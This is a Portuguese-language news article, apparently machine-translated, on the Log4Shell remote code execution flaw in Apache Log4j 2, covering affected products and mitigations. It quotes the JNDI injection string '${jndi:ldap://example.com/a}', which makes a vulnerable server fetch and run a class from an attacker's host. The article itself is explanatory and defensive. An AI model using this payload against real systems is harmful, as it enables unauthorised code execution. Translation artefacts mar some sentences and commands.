S recentementee divulgamos a notícia de que uma vulnerabilidade crítica foi identificada no Apache Log4j 2, que se caracteriza como uma estrutura popular para organizar o registro em aplicativos Java, permitindo a execução de código arbitrário quando um valor especialmente formatado é gravado no registro no formato "{jndi: URL}".
Vulnerabilidade É notável porque o ataque pode ser realizado em aplicativos Java queEles registram valores obtidos de fontes externas, por exemplo, exibindo valores problemáticos em mensagens de erro.
É observado que quase todos os projetos que usam estruturas como Apache Struts, Apache Solr, Apache Druid ou Apache Flink são afetados, incluindo Steam, Apple iCloud, Minecraft clientes e servidores.
A vulnerabilidade deve levar a uma onda de ataques massivos em aplicativos corporativos, repetindo o histórico de vulnerabilidades críticas no framework Apache Struts, que é uma estimativa aproximada usada em 65% dos aplicativos da Web da Fortune 100. Lista de aplicativos da Web da empresa incluiu tentativas já registradas de varrer a rede em busca de sistemas vulneráveis.
A vulnerabilidade permite a execução remota de código não autenticado. Log4j 2 é uma biblioteca de log Java de software livre desenvolvida pela Apache Foundation. Log4j 2 é amplamente utilizado em muitas aplicações e está presente, como uma dependência, em muitos serviços. Isso inclui aplicativos de negócios, bem como vários serviços em nuvem.
A equipe de ataque Randori desenvolveu um exploit funcional e foi capaz de explorar com sucesso esta vulnerabilidade em ambientes de clientes como parte de nossa plataforma de segurança ofensiva.
A vulnerabilidade pode ser acessada por meio de uma variedade de métodos específicos do aplicativo. Na verdade, qualquer cenário que permita a uma conexão remota fornecer dados arbitrários que um aplicativo que usa a biblioteca Log4j grava em arquivos de log é suscetível de exploração. É altamente provável que essa vulnerabilidade seja explorada em estado selvagem e provavelmente afetará milhares de organizações. Essa vulnerabilidade representa um risco real significativo para os sistemas afetados.
O problema é agravado pelo fato de que uma exploração funcional já foi publicada, por ex.Mas as correções para branches estáveis ainda não foram geradas. O identificador CVE ainda não foi atribuído. A solução está incluída apenas no branch de teste log4j-2.15.0-rc1. Como uma solução alternativa para bloquear a vulnerabilidade, é recomendável definir o parâmetro Log4j2.formatMsgNoLookups como true.
O problema foi devido ao fato de que Log4j 2 suporta o tratamento de máscaras especiais «{}» em linhas de log, nas que Consultas JNDI podem ser executadas (Java Naming e Directory Interface).
Ao analisar CVE-2021-44228, Randori determinou o seguinte:
As instalações padrão de softwares comerciais amplamente usados são vulneráveis.
A vulnerabilidade pode ser explorada de forma confiável e sem autenticação.
A vulnerabilidade afeta várias versões do Log4j 2.
A vulnerabilidade permite a execução remota de código quando o usuário executa o aplicativo usando a biblioteca.
O ataque se resume a passar uma string com a substituição "$ {jndi: ldap: //example.com/a}", processando que Log4j 2 enviará uma solicitação LDAP para o caminho da classe Java para o servidor attacker.com . O caminho retornado pelo servidor do invasor (por exemplo, http://example.com/Exploit.class) será carregado e executado no contexto do processo atual, permitindo que o invasor obtenha a execução arbitrária de código no sistema com os direitos do aplicativo atual.
Finalmente, é mencionado que se anormalidades forem encontradas, é recomendável que você presuma que este é um incidente ativo, que foi comprometido, e responda de acordo. Atualizar para versões corrigidas do Log4j 2 ou aplicativos afetados eliminará esta vulnerabilidade. Randori recomenda que qualquer organização que possa ser afetada atualize urgentemente para uma versão corrigida.
Na última atualização da equipe Apache Log4j, recomendar que as organizações façam o seguinte
- Atualizar para Log4j 2.15.0
- Para aqueles que não podem atualizar para 2.15.0: Nas versões> = 2.10, esta vulnerabilidade pode ser atenuada definindo a propriedade de sistema log4j2.formatMsgNoLookup ou a variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS como true.
- Para as versões 2,0-beta9 a 2.10.0, a atenuação é remover a classe JndiLookup do caminho de classe: zip -q -d log4j-core - *. Jar org / apache / logging / log4j / core / lookup /JndiLookup.class.
fonte: https://www.lunasec.io/